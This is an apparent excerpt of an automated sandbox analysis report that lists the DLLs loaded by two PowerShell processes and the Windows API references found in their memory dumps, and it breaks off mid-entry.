api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00002148) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\diasymreader.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00002684) "powershell.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00002684)43:T5570,Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00002148.00000000.136313.38990000.00000004.mdmp") Found reference to API (Indicator: "InitializeConditionVariable"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "SleepConditionVariableCS"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "WakeAllConditionVariable"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002148.00000000.136313.DC44A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; 